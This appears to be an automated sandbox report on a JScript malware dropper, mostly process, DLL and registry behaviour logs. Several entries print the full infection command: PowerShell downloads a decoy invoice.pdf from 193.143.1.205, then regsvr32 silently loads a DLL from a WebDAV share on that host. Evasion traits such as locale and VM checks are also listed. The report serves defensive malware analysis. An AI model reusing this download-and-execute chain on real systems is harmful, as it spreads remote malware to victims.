Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9103.js.csv");ITextStream.WriteLine(" entry:8528 f:ridab");ITextStream.WriteLine(" exec:2 f:ridab");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4764			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4506			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 4764 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 4506 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8100	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4040	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1483789855.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1481829925.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484873119.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV
Source: wscript.exe, 00000000.00000002.1423718598.00000212D1BD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000007.00000003.1483789855.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1481829925.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484873119.0000029DAE70A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2701547599.0000026CE9A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2703231755.0000026CEF05A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1484357889.0000029DAE6B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17628642418888.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

